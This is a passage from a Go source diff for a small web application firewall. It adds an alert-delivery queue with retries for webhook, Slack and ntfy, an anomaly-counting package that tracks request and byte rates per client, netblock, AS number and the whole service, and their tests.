+// run sends the alerts waiting, oldest first, until ctx is done. An alert
+// stays in the queue until the destination answers it with a 2xx status,
+// or refuses it with a 4xx status other than 408 and 429: a refused alert
+// is logged, counted as dropped, and given up, so that the next is sent.
+// Any other request that fails is logged, and the alert sent again
+// firstRetryDelay later, retryDelayFactor times as long after each
+// further failure in a row, up to maxRetryDelay.
+func (d *destination) run(ctx context.Context) {
+	var (
+		retryDelay time.Duration
+		retryAt    time.Time
+	)
+
+	for {
+		alert := d.oldest()
+
+		var due <-chan time.Time // nil while no alert waits
+		if alert != nil {
+			due = time.After(time.Until(retryAt))
+		}
+
+		select {
+		case <-ctx.Done():
+			return
+		case <-d.queued:
+		case <-due:
+			err := d.send(ctx, alert)
+
+			switch {
+			case err == nil:
+				d.remove(alert)
+				d.sent.Add(1)
+
+				retryDelay = 0
+				retryAt = time.Time{}
+			case errors.Is(err, errRefused):
+				d.remove(alert)
+				d.failed.Add(1)
+				d.dropped.Add(1)
+
+				retryDelay = 0
+				retryAt = time.Time{}
+
+				d.processLog.Warn("gave up an alert "+d.setting+" refused",
+					"event", alert.Event, "error", err.Error())
+			case ctx.Err() == nil: // not cut off as smallwebwaf stops
+				d.failed.Add(1)
+
+				retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
+					maxRetryDelay)
+				retryAt = time.Now().Add(retryDelay)
+
+				d.processLog.Warn("sending an alert to "+d.setting+" failed",
+					"error", err.Error(), "sending_again_in", retryDelay.String())
+			}
+		}
+	}
+}
+
+// add adds alert to the alerts waiting, first dropping the oldest while
+// queueSize wait, and has run look at the queue again.
+func (d *destination) add(alert *Alert) {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	if len(d.waiting) == queueSize {
+		d.waiting = slices.Delete(d.waiting, 0, 1)
+		d.dropped.Add(1)
+	}
+
+	d.waiting = append(d.waiting, alert)
+
+	select {
+	case d.queued <- struct{}{}:
+	default: // a value waits already
+	}
+}
+
+// load puts waiting, read from alerts.json, in place of the alerts
+// waiting, as add adds them.
+func (d *destination) load(waiting []Alert) {
+	d.mu.Lock()
+	d.waiting = nil
+	d.mu.Unlock()
+
+	for _, alert := range waiting {
+		d.add(&alert)
+	}
+}
+
+// snapshot returns the alerts waiting, oldest first.
+func (d *destination) snapshot() []Alert {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	waiting := make([]Alert, 0, len(d.waiting))
+	for _, alert := range d.waiting {
+		waiting = append(waiting, *alert)
+	}
+
+	return waiting
+}
+
+// oldest returns the oldest alert waiting, nil when none waits.
+func (d *destination) oldest() *Alert {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	if len(d.waiting) == 0 {
+		return nil
+	}
+
+	return d.waiting[0]
+}
+
+// remove takes alert, which run has sent or given up, out of the queue,
+// unless it has been dropped from it, or load has replaced the queue,
+// since run took it. Only the oldest alert is ever dropped, so alert is
+// the oldest if it is there at all.
+func (d *destination) remove(alert *Alert) {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	if len(d.waiting) > 0 && d.waiting[0] == alert {
+		d.waiting = slices.Delete(d.waiting, 0, 1)
+	}
+}
+
+// send posts alert to the destination, as message makes it, and returns
+// an error unless the destination answers with a 2xx status: one that
+// wraps errRefused for a 4xx status other than 408 and 429. No error
+// names the destination's URL, whose path or query can carry a secret.
+func (d *destination) send(ctx context.Context, alert *Alert) error {
+	body, header, err := d.message(alert)
+	if err != nil {
+		return err
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, sendTimeout)
+	defer cancel()
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
+		bytes.NewReader(body))
+	if err != nil {
+		return fmt.Errorf("make the request: %w", err)
+	}
+
+	maps.Copy(req.Header, header)
+
+	res, err := d.httpClient.Do(req)
+	if err != nil {
+		// The client's error names the URL: only what went wrong is kept.
+		if urlErr, ok := errors.AsType[*url.Error](err); ok {
+			return urlErr.Err
+		}
+
+		return err
+	}
+
+	defer func() {
+		_ = res.Body.Close()
+	}()
+
+	// Read, so that the connection can be used again.
+	_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, maxAnswerBytes))
+
+	switch status := res.StatusCode; {
+	case status >= http.StatusOK && status < http.StatusMultipleChoices:
+		return nil
+	case status >= http.StatusBadRequest && status < http.StatusInternalServerError &&
+		status != http.StatusRequestTimeout && status != http.StatusTooManyRequests:
+		return fmt.Errorf("%w %s", errRefused, res.Status)
+	default:
+		return fmt.Errorf("%w %s", errStatus, res.Status)
+	}
+}
+
+// webhookMessage returns alert as JSON, for the webhook, and the headers
+// sent with it: WebhookHeaders, and its Content-Type.
+func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
+	body, err := json.Marshal(alert)
+	if err != nil {
+		return nil, nil, fmt.Errorf("encode the alert: %w", err)
+	}
+
+	header := http.Header{}
+	maps.Copy(header, q.params.WebhookHeaders)
+	header.Set("Content-Type", "application/json")
+
+	return body, header, nil
+}
+
+// slackMessage returns alert as a message for a Slack incoming webhook,
+// in JSON: its title in bold, then its text, with &, < and > escaped, as
+// Slack asks, so that nothing in them is read as a link or a mention.
+func slackMessage(alert *Alert) ([]byte, http.Header, error) {
+	escape := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;").Replace
+
+	body, err := json.Marshal(map[string]string{
+		"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
+	})
+	if err != nil {
+		return nil, nil, fmt.Errorf("encode the message: %w", err)
+	}
+
+	return body, http.Header{"Content-Type": {"application/json"}}, nil
+}
+
+// ntfyMessage returns alert's text, as the message published to ntfy,
+// and the headers sent with it: its title, the priority and the tag of
+// its event, and NtfyToken, unless it is empty, as a bearer token.
+func (q *Queue) ntfyMessage(alert *Alert) ([]byte, http.Header, error) {
+	header := http.Header{
+		"Title":    {title(alert)},
+		"Priority": {ntfyPriority(alert.Event)},
+		"Tags":     {ntfyTag(alert.Event)},
+	}
+
+	if q.params.NtfyToken != "" {
+		header.Set("Authorization", "Bearer "+q.params.NtfyToken)
+	}
+
+	return []byte(text(alert)), header, nil
+}
+
+// ntfyPriority returns the priority an alert for event is published to
+// ntfy with: high for an event the admin needs to look at.
+func ntfyPriority(event string) string {
+	switch event {
+	case EventPermanentBan, EventAnomaly, EventSourceFailure, EventFileError:
+		return "high"
+	case EventReputationHit:
+		return "low"
+	default: // ban, waf_block and summary
+		return "default"
+	}
+}
+
+// ntfyTag returns the tag an alert for event is published to ntfy with,
+// which ntfy shows as an emoji.
+func ntfyTag(event string) string {
+	switch event {
+	case EventBan, EventPermanentBan:
+		return "no_entry"
+	case EventWAFBlock:
+		return "shield"
+	case EventAnomaly:
+		return "chart_with_upwards_trend"
+	case EventReputationHit:
+		return "label"
+	case EventSourceFailure, EventFileError:
+		return "warning"
+	default: // summary
+		return "bar_chart"
+	}
+}
+
+// title returns the title of alert in Slack and ntfy: the instance and
+// the event.
+func title(alert *Alert) string {
+	return alert.Instance + ": " + alert.Event
+}
+
+// text returns the text of alert in Slack and ntfy: its reason, then a
+// line for each of its host, client, netblock and country, the file,
+// source, error and mode its detail gives, and its suppressed repeats, that
+// it has.
+func text(alert *Alert) string {
+	lines := []string{alert.Reason}
+
+	if alert.Host != "" {
+		lines = append(lines, "host: "+alert.Host)
+	}
+
+	if alert.Client.IsValid() {
+		lines = append(lines, "client: "+alert.Client.String())
+	}
+
+	if alert.Netblock.IsValid() {
+		lines = append(lines, "netblock: "+alert.Netblock.String())
+	}
+
+	if alert.Country != "" {
+		lines = append(lines, "country: "+alert.Country)
+	}
+
+	for _, name := range []string{"file", "source", "error", "mode"} {
+		value, _ := alert.Detail[name].(string)
+		if value != "" {
+			lines = append(lines, name+": "+value)
+		}
+	}
+
+	if alert.SuppressedRepeats > 0 {
+		lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
+	}
+
+	return strings.Join(lines, "\n")
+}

internal/alerts/export_test.go

@@ -0,0 +1,16 @@
+package alerts
+
+import "net/http"
+
+// QueueSize is the most alerts that wait to be sent to a destination.
+const QueueSize = queueSize
+
+// SetTransport has q's requests to the destination name go through
+// transport instead of the network.
+func (q *Queue) SetTransport(name string, transport http.RoundTripper) {
+	for _, d := range q.destinations {
+		if d.name == name {
+			d.httpClient.Transport = transport
+		}
+	}
+}

internal/anomaly/anomaly.go

@@ -0,0 +1,411 @@
+// Package anomaly counts requests and bytes over a minute and an hour, per
+// client, per surrounding netblock, per AS number, for the whole service
+// and per named netblock, and raises an anomaly alert for a count over its
+// threshold, as "Anomaly thresholds" under "Settings" in SPEC.md
+// describes. It refuses and bans nothing. At most 20,000 counters
+// are kept, in memory, and written to alerts.json and read from it by the
+// state package.
+package anomaly
+
+import (
+	"cmp"
+	"fmt"
+	"net/netip"
+	"slices"
+	"sync"
+	"time"
+
+	"github.com/hashicorp/golang-lru/v2/simplelru"
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+)
+
+// maxCounters is how many counters are kept. Past it, the counter counted
+// least recently is dropped, and starts afresh if it is counted again.
+const maxCounters = 20000
+
+// The scopes, what a counter counts, as the settings, alerts.json and the
+// alerts name them.
+const (
+	// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
+	// SWWAF_IPV6_GROUP_PREFIX.
+	ScopeClient = "client"
+	// ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX
+	// or SWWAF_ANOMALY_NET_V6_PREFIX long.
+	ScopeNet = "net"
+	// ScopeASN is an AS number.
+	ScopeASN = "asn"
+	// ScopeTotal is the whole service.
+	ScopeTotal = "total"
+	// ScopeWatch is a named netblock of SWWAF_WATCH_NETS.
+	ScopeWatch = "watch"
+)
+
+// Scopes returns every scope.
+func Scopes() []string {
+	return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatch}
+}
+
+// The windows a counter counts in, as the alerts name them.
+const (
+	minute = "minute"
+	hour   = "hour"
+)
+
+// Thresholds are the most requests and the most bytes a scope may have
+// counted in a minute and in an hour before an alert is raised. Zero is
+// off.
+type Thresholds struct {
+	RequestsPerMinute int64
+	RequestsPerHour   int64
+	BytesPerMinute    int64
+	BytesPerHour      int64
+}
+
+// NamedNetblock is a netblock SWWAF_WATCH_NETS names.
+type NamedNetblock struct {
+	Name     string
+	Netblock netip.Prefix
+}
+
+// Params are what New needs.
+type Params struct {
+	// The thresholds of each scope: SWWAF_ANOMALY_CLIENT_*,
+	// SWWAF_ANOMALY_NET_*, SWWAF_ANOMALY_ASN_*, SWWAF_ANOMALY_TOTAL_* and
+	// SWWAF_WATCH_*.
+	Client, Net, ASN, Total, Watch Thresholds
+	// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
+	// client (SWWAF_ANOMALY_NET_V4_PREFIX and SWWAF_ANOMALY_NET_V6_PREFIX).
+	NetV4Prefix, NetV6Prefix int
+	// NamedNetblocks are SWWAF_WATCH_NETS.
+	NamedNetblocks []NamedNetblock
+	// Alerts receive the anomaly alerts.
+	Alerts *alerts.Queue
+}
+
+// Counter is one scope's counts, as alerts.json holds them: the scope,
+// with the netblock, the AS number or the name that tells it from the
+// others in that scope, and its two buckets of requests and of bytes in
+// the minute and in the hour. A bucket whose threshold is off counts
+// nothing, and is left out.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
+type Counter struct {
+	Scope       string            `json:"scope"`
+	Netblock    netip.Prefix      `json:"netblock,omitzero"`
+	ASN         string            `json:"asn,omitempty"`
+	Name        string            `json:"name,omitempty"`
+	Minute      ratelimit.Buckets `json:"minute,omitzero"`
+	Hour        ratelimit.Buckets `json:"hour,omitzero"`
+	MinuteBytes ratelimit.Buckets `json:"minute_bytes,omitzero"`
+	HourBytes   ratelimit.Buckets `json:"hour_bytes,omitzero"`
+}
+
+// Request is a request that has ended, as the counters count it.
+type Request struct {
+	// Host is the site the alert names, "" for none.
+	Host string
+	// Client is the client's address, and ClientGroup the client it is
+	// counted as: its IPv4 address, or the IPv6 netblock of
+	// SWWAF_IPV6_GROUP_PREFIX its address is in.
+	Client      netip.Addr
+	ClientGroup netip.Prefix
+	// ASN, ASName and Country are the client's as looked up, each "" when
+	// unknown.
+	ASN, ASName, Country string
+	// Bytes are the request's bytes, as SWWAF_BYTES_COUNT counts them.
+	Bytes int64
+}
+
+// Counters counts each request in the scopes it is in. It is safe for
+// concurrent use.
+type Counters struct {
+	params Params
+
+	mu       sync.Mutex
+	counters *simplelru.LRU[key, *Counter]
+}
+
+// key is what tells a counter from the others: its scope, with its
+// netblock, AS number or name.
+type key struct {
+	scope    string
+	netblock netip.Prefix
+	asn      string
+	name     string
+}
+
+// New returns Counters for params, with nothing counted yet.
+func New(params Params) *Counters {
+	counters, err := simplelru.NewLRU[key, *Counter](maxCounters, nil)
+	if err != nil {
+		panic(err) // NewLRU fails only for a size below one
+	}
+
+	return &Counters{params: params, counters: counters}
+}
+
+// Count counts r, a request that has ended, at now, in each scope it is
+// in whose thresholds are not all off: its client, the netblock around
+// it, its AS number once known, the whole service, and each named
+// netblock it is in. Only the counts whose threshold is set are counted.
+// For each scope whose count is over a threshold, it raises an anomaly
+// alert, for the first such count in the order requests and bytes in the
+// minute, then in the hour; the alert queue's cooldown holds back the
+// repeats. Nothing is refused or banned.
+func (c *Counters) Count(now time.Time, r Request) {
+	var raised []alerts.Alert
+
+	c.mu.Lock()
+
+	for _, scope := range c.scopesOf(r) {
+		counter, found := c.counters.Get(scope.key)
+		if !found {
+			counter = scope.key.counter()
+			c.counters.Add(scope.key, counter)
+		}
+
+		over, passed := counter.add(now, r.Bytes, scope.thresholds)
+		if passed {
+			raised = append(raised, alertFor(r, scope.key, over))
+		}
+	}
+
+	c.mu.Unlock()
+
+	for _, alert := range raised {
+		c.params.Alerts.Raise(alert)
+	}
+}
+
+// Snapshot returns every counter, sorted by scope, then by netblock, AS
+// number and name, as alerts.json lists them.
+func (c *Counters) Snapshot() []Counter {
+	c.mu.Lock()
+
+	counters := make([]Counter, 0, c.counters.Len())
+	for _, counter := range c.counters.Values() {
+		counters = append(counters, *counter)
+	}
+
+	c.mu.Unlock()
+
+	slices.SortFunc(counters, func(a, b Counter) int {
+		return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
+			cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
+	})
+
+	return counters
+}
+
+// Load puts counters, read from alerts.json, in place of those held, in
+// the order they were last counted, as the starts of their buckets tell,
+// so that the one counted least recently is dropped first. Each netblock
+// is masked to its length, so that 203.0.113.9/24 is 203.0.113.0/24.
+// Buckets whose time has passed at now are emptied, and a counter left
+// with every bucket empty is dropped.
+func (c *Counters) Load(counters []Counter, now time.Time) {
+	counters = slices.Clone(counters)
+	slices.SortStableFunc(counters, func(a, b Counter) int {
+		return a.lastStart().Compare(b.lastStart())
+	})
+
+	c.mu.Lock()
+	defer c.mu.Unlock()
+
+	c.counters.Purge()
+
+	for _, counter := range counters {
+		counter.Netblock = counter.Netblock.Masked()
+		empty := true
+
+		for _, count := range counter.counts() {
+			if count.buckets.Passed(now, count.length) {
+				*count.buckets = ratelimit.Buckets{}
+			}
+
+			empty = empty && *count.buckets == ratelimit.Buckets{}
+		}
+
+		if !empty {
+			c.counters.Add(counter.key(), &counter)
+		}
+	}
+}
+
+// scope is a scope a request is counted in, and its thresholds.
+type scope struct {
+	key        key
+	thresholds Thresholds
+}
+
+// scopesOf returns the scopes r is in whose thresholds are not all off.
+func (c *Counters) scopesOf(r Request) []scope {
+	p := c.params
+	client := r.Client.Unmap()
+
+	all := []scope{
+		{key{scope: ScopeClient, netblock: r.ClientGroup}, p.Client},
+		{key{scope: ScopeNet, netblock: c.netAround(client)}, p.Net},
+		{key{scope: ScopeTotal}, p.Total},
+	}
+
+	if r.ASN != "" {
+		all = append(all, scope{key{scope: ScopeASN, asn: r.ASN}, p.ASN})
+	}
+
+	for _, named := range p.NamedNetblocks {
+		if named.Netblock.Contains(client) {
+			all = append(all, scope{
+				key{scope: ScopeWatch, netblock: named.Netblock, name: named.Name}, p.Watch,
+			})
+		}
+	}
+
+	return slices.DeleteFunc(all, func(s scope) bool {
+		return s.thresholds == Thresholds{}
+	})
+}
+
+// netAround returns the netblock around client that ScopeNet counts it
+// in: NetV4Prefix or NetV6Prefix long.
+func (c *Counters) netAround(client netip.Addr) netip.Prefix {
+	length := c.params.NetV6Prefix
+	if client.Is4() {
+		length = c.params.NetV4Prefix
+	}
+
+	return netip.PrefixFrom(client, length).Masked()
+}
+
+// overThreshold is a count over its threshold: what it counts, requests or
+// bytes, its window, the count and the threshold.
+type overThreshold struct {
+	kind, window string
+	count        float64
+	threshold    int64
+}
+
+// add counts a request of bytes at now in each of c's counts whose
+// threshold, in thresholds, is set, and returns the first count over its
+// threshold, and whether there is one.
+func (c *Counter) add(
+	now time.Time, bytes int64, thresholds Thresholds,
+) (overThreshold, bool) {
+	// In the order of counts.
+	inOrder := [4]int64{
+		thresholds.RequestsPerMinute, thresholds.BytesPerMinute,
+		thresholds.RequestsPerHour, thresholds.BytesPerHour,
+	}
+
+	var (
+		first  overThreshold
+		passed bool
+	)
+
+	for i, count := range c.counts() {
+		threshold := inOrder[i]
+		if threshold == 0 {
+			continue
+		}
+
+		n := int64(1)
+		if count.kind == ratelimit.KindBytes {
+			n = bytes
+		}
+
+		counted := count.buckets.Add(now, count.length, n)
+		if !passed && counted > float64(threshold) {
+			first = overThreshold{count.kind, count.window, counted, threshold}
+			passed = true
+		}
+	}
+
+	return first, passed
+}
+
+// bucketCount is one of a counter's four counts: requests or bytes, in a
+// window of length, and the buckets they are counted in.
+type bucketCount struct {
+	kind, window string
+	length       time.Duration
+	buckets      *ratelimit.Buckets
+}
+
+// counts returns c's counts: requests and bytes in the minute, then in
+// the hour.
+func (c *Counter) counts() [4]bucketCount {
+	return [4]bucketCount{
+		{ratelimit.KindRequests, minute, time.Minute, &c.Minute},
+		{ratelimit.KindBytes, minute, time.Minute, &c.MinuteBytes},
+		{ratelimit.KindRequests, hour, time.Hour, &c.Hour},
+		{ratelimit.KindBytes, hour, time.Hour, &c.HourBytes},
+	}
+}
+
+// lastStart returns the start of c's latest bucket, which tells, to the
+// minute or to the hour, when c was last counted.
+func (c *Counter) lastStart() time.Time {
+	var latest time.Time
+
+	for _, count := range c.counts() {
+		if count.buckets.Start.After(latest) {
+			latest = count.buckets.Start
+		}
+	}
+
+	return latest
+}
+
+// key returns what tells c from the other counters.
+func (c *Counter) key() key {
+	return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
+}
+
+// counter returns a counter for k, with nothing counted yet.
+func (k key) counter() *Counter {
+	return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
+}
+
+// alertFor returns the anomaly alert for o, a count over its threshold in
+// the scope k, which r took over it. It gives r's client, with its AS
+// number, AS name and country, and the netblock counted, of a client, the
+// netblock around it or a named netblock. Its detail gives the scope, the
+// AS number or the name of a scope that has one, the window, what is
+// counted, the count and the threshold.
+func alertFor(r Request, k key, o overThreshold) alerts.Alert {
+	detail := map[string]any{
+		"scope": k.scope, "window": o.window, "kind": o.kind, "count": o.count,
+		"threshold": o.threshold,
+	}
+
+	var counted string
+
+	switch k.scope {
+	case ScopeClient:
+		counted = "the client " + k.netblock.String()
+	case ScopeNet:
+		counted = "the netblock " + k.netblock.String()
+	case ScopeASN:
+		counted = k.asn
+		detail["asn"] = k.asn
+	case ScopeTotal:
+		counted = "the whole service"
+	default: // watch
+		counted = "the named netblock " + k.name + ", " + k.netblock.String()
+		detail["name"] = k.name
+	}
+
+	return alerts.Alert{
+		Event:    alerts.EventAnomaly,
+		Host:     r.Host,
+		Client:   r.Client,
+		Netblock: k.netblock,
+		ASN:      r.ASN,
+		ASName:   r.ASName,
+		Country:  r.Country,
+		Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
+			counted, o.threshold),
+		Detail: detail,
+	}
+}

internal/anomaly/anomaly_test.go

@@ -0,0 +1,238 @@
+package anomaly_test
+
+import (
+	"encoding/json"
+	"fmt"
+	"net/netip"
+	"net/url"
+	"reflect"
+	"slices"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/anomaly"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+)
+
+// maxCounters is how many counters are kept.
+const maxCounters = 20000
+
+func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
+	t.Parallel()
+
+	queue := newQueue()
+	office := netip.MustParsePrefix("203.0.113.0/24")
+	overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
+	counters := anomaly.New(anomaly.Params{
+		Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
+		Total: overAtTheSecond, Watch: overAtTheSecond,
+		// The netblock around a client is the client's own, and two names
+		// name one netblock.
+		NetV4Prefix: 32,
+		NamedNetblocks: []anomaly.NamedNetblock{
+			{Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
+		},
+		Alerts: queue,
+	})
+
+	// The first client's second request is over the threshold in the six
+	// scopes it is in. The other client's two are both over it in the whole
+	// service and in each named netblock, three repeats each, and its
+	// second is over it in the scopes of its own, its client, its netblock
+	// and its AS number, which are no repeats.
+	for _, r := range []anomaly.Request{
+		{Client: netip.MustParseAddr("203.0.113.9"), ASN: "AS64496"},
+		{Client: netip.MustParseAddr("203.0.113.10"), ASN: "AS64511"},
+	} {
+		r.ClientGroup = netip.PrefixFrom(r.Client, 32)
+
+		for range 2 {
+			counters.Count(midnight(), r)
+		}
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 9 || queue.Suppressed() != 6 {
+		t.Fatalf("%d alerts wait and %d are held back, want 9 and 6: %+v",
+			len(waiting), queue.Suppressed(), waiting)
+	}
+
+	// alerts.json keeps each scope's cooldown: each alert raised again
+	// after a restart is a repeat.
+	data, err := json.Marshal(queue.Snapshot())
+	if err != nil {
+		t.Fatalf("encode: %v", err)
+	}
+
+	var read alerts.State
+
+	err = json.Unmarshal(data, &read)
+	if err != nil {
+		t.Fatalf("decode: %v", err)
+	}
+
+	after := newQueue()
+	after.Load(read)
+
+	for _, alert := range read.Waiting[alerts.DestinationWebhook] {
+		after.Raise(alert)
+	}
+
+	if after.Suppressed() != 9 {
+		t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
+	}
+}
+
+func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
+	t.Parallel()
+
+	counters := newCounters(anomaly.Params{
+		Client: anomaly.Thresholds{RequestsPerMinute: 1000},
+	})
+
+	for i := range maxCounters {
+		counters.Count(midnight(), request(i))
+	}
+
+	// Counted again, the first client is the most recently counted, and
+	// the second is dropped for a new one.
+	counters.Count(midnight(), request(0))
+	counters.Count(midnight(), request(maxCounters))
+
+	got := counters.Snapshot()
+	if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
+		!holds(got, maxCounters) {
+		t.Errorf("%d counters, holding the first client %v, the second %v and the "+
+			"new one %v, want %d, the first and the new one", len(got), holds(got, 0),
+			holds(got, 1), holds(got, maxCounters), maxCounters)
+	}
+}
+
+func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
+	t.Parallel()
+
+	counters := newCounters(anomaly.Params{
+		Net:         anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
+		Total:       anomaly.Thresholds{RequestsPerMinute: 1000},
+		NetV4Prefix: 24,
+	})
+	halfAnHourOn := midnight().Add(30 * time.Minute)
+
+	// Half an hour on, the hour's buckets count still, and the minute's
+	// do not.
+	counters.Load([]anomaly.Counter{
+		{
+			Scope:    anomaly.ScopeNet,
+			Netblock: netip.MustParsePrefix("203.0.113.9/24"),
+			Minute:   ratelimit.Buckets{Start: midnight(), Current: 5},
+			Hour:     ratelimit.Buckets{Start: midnight(), Current: 7},
+		},
+		{
+			Scope:  anomaly.ScopeTotal,
+			Minute: ratelimit.Buckets{Start: midnight(), Current: 1},
+		},
+	}, halfAnHourOn)
+
+	// The whole service's counter, left empty, is dropped, and the
+	// netblock read is masked to its length.
+	netblock := anomaly.Counter{
+		Scope:    anomaly.ScopeNet,
+		Netblock: netip.MustParsePrefix("203.0.113.0/24"),
+		Hour:     ratelimit.Buckets{Start: midnight(), Current: 7},
+	}
+	if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
+		got, want) {
+		t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
+	}
+
+	// A request from the netblock is counted with the requests read.
+	counters.Count(halfAnHourOn, anomaly.Request{
+		Client:      netip.MustParseAddr("203.0.113.9"),
+		ClientGroup: netip.MustParsePrefix("203.0.113.9/32"),
+	})
+
+	netblock.Minute = ratelimit.Buckets{Start: halfAnHourOn, Current: 1}
+	netblock.Hour.Current = 8
+	want := []anomaly.Counter{netblock, {
+		Scope:  anomaly.ScopeTotal,
+		Minute: ratelimit.Buckets{Start: halfAnHourOn, Current: 1},
+	}}
+
+	if got := counters.Snapshot(); !reflect.DeepEqual(got, want) {
+		t.Errorf("counters after a request\n%+v\nwant\n%+v", got, want)
+	}
+}
+
+func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
+	t.Parallel()
+
+	counters := newCounters(anomaly.Params{
+		Client: anomaly.Thresholds{RequestsPerMinute: 1000},
+	})
+	now := midnight().Add(time.Minute)
+
+	// The second half of the file was counted in the minute before the
+	// first half.
+	read := make([]anomaly.Counter, 0, maxCounters)
+	for i := range maxCounters {
+		start := now
+		if i >= maxCounters/2 {
+			start = midnight()
+		}
+
+		read = append(read, anomaly.Counter{
+			Scope: anomaly.ScopeClient, Netblock: request(i).ClientGroup,
+			Minute: ratelimit.Buckets{Start: start, Current: 1},
+		})
+	}
+
+	counters.Load(read, now)
+	counters.Count(now, request(maxCounters))
+
+	got := counters.Snapshot()
+	if !holds(got, 0) || holds(got, maxCounters/2) {
+		t.Errorf("holding the first client of the file %v, and the first counted in "+
+			"the minute before %v, want only the first", holds(got, 0),
+			holds(got, maxCounters/2))
+	}
+}
+
+// midnight is the time of the tests' requests.
+func midnight() time.Time {
+	return time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
+}
+
+// newCounters returns Counters for params, whose alerts go nowhere.
+func newCounters(params anomaly.Params) *anomaly.Counters {
+	params.Alerts = alerts.New(alerts.Params{})
+
+	return anomaly.New(params)
+}
+
+// newQueue returns a queue of alerts to a webhook, with the default
+// cooldown, which keeps them waiting, since it is never run.
+func newQueue() *alerts.Queue {
+	return alerts.New(alerts.Params{
+		WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
+		Events:     alerts.Events(),
+		Cooldown:   15 * time.Minute,
+		MaxPerHour: 60,
+		Now:        midnight,
+	})
+}
+
+// request returns a request from client number i, an address in
+// 10.0.0.0/8.
+func request(i int) anomaly.Request {
+	client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
+
+	return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
+}
+
+// holds reports whether counters hold the counter of client number i.
+func holds(counters []anomaly.Counter, i int) bool {
+	return slices.ContainsFunc(counters, func(counter anomaly.Counter) bool {
+		return counter.Netblock == request(i).ClientGroup
+	})
+}

internal/bans/admin_test.go

@@ -0,0 +1,343 @@
+package bans_test
+
+import (
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+)
+
+func TestBanWithoutACauseIsAnAdmins(t *testing.T) {
+	t.Parallel()
+
+	netblock := netip.MustParsePrefix("203.0.113.0/24")
+	ledger := bans.New(defaultRules())
+	ledger.Load([]bans.Ban{{Netblock: netblock, Start: midnight()}})
+
+	if got := ledger.Bans(netblock)[0].Cause; got != bans.CauseAdmin {
+		t.Errorf("the ban's cause is %q, want admin", got)
+	}
+}
+
+func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
+	t.Parallel()
+
+	rules := defaultRules()
+	rules.MaxBans = 1
+	ledger := bans.New(rules)
+	adminsOnly := netip.MustParsePrefix("198.51.100.0/24")
+	both := netip.MustParsePrefix("203.0.113.1/32")
+	second := netip.MustParsePrefix("203.0.113.2/32")
+	third := netip.MustParsePrefix("203.0.113.3/32")
+
+	// Seen longest ago, a netblock with two of an admin's bans alone, and
+	// then one with an admin's ban before a ban smallwebwaf made: the one
+	// ban counted toward MaxBans.
+	ledger.Load([]bans.Ban{
+		{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
+		{Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
+		{Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
+		{
+			Netblock: both,
+			Start:    midnight(),
+			Expires:  midnight().Add(time.Hour),
+			Cause:    bans.CauseLimit,
+		},
+	})
+	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2})
+
+	// A new ban drops the ban smallwebwaf made, and only that one.
+	ledger.BanForLimit(second, midnight(), bans.Notes{})
+	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
+
+	if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
+		t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
+	}
+
+	// And the next drops that one.
+	ledger.BanForLimit(third, midnight(), bans.Notes{})
